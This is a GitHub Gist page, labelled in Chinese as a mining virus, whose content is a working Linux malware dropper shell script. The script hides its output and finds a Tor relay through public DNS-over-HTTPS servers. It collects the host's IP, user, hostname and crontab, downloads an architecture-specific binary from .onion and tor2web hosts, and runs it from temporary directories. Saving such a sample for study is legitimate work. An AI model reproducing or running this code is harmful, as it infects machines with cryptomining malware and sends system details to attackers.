Created
October 29, 2020 10:38
-
-
Save Ansen/13b0efacc8ed535edb8b486804e5ded4 to your computer and use it in GitHub Desktop.
挖矿病毒
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ynKONvfHlM9XKdcZS/f3enuhStRJ+oTHh+hG4qzhPe+Bxy3kPIJ0j2HbAq3MyhET | |
exec &>/dev/null | |
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin | |
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) | |
c=$(echo "curl -4fsSLkA- -m200") | |
t=$(echo "y4mcrfeigcaa2robjk3azb2qwcd5hk45xpoaddupmdwv24qoggnmdbid") | |
sockz() { | |
n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch) | |
p=$(echo "dns-query?name=relay.tor2socks.in") | |
s=$($c https://${n[$((RANDOM%13))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1) | |
} | |
fexe() { | |
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done | |
} | |
u() { | |
sockz | |
f=/int.$(uname -m) | |
x=./$(date|md5sum|cut -f1 -d-) | |
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0) | |
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r | |
chmod +x $x;$x;rm -f $x | |
} | |
for h in tor2web.in tor2web.it onion.foundation tor2web.su onion.com.de onion.sh tor2web.io | |
do | |
if ! ls /proc/$(head -1 /tmp/.X11-unix/01)/status; then | |
fexe;u $t.$h | |
ls /proc/$(head -1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h) | |
ls /proc/$(head -1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h) | |
else | |
break | |
fi | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment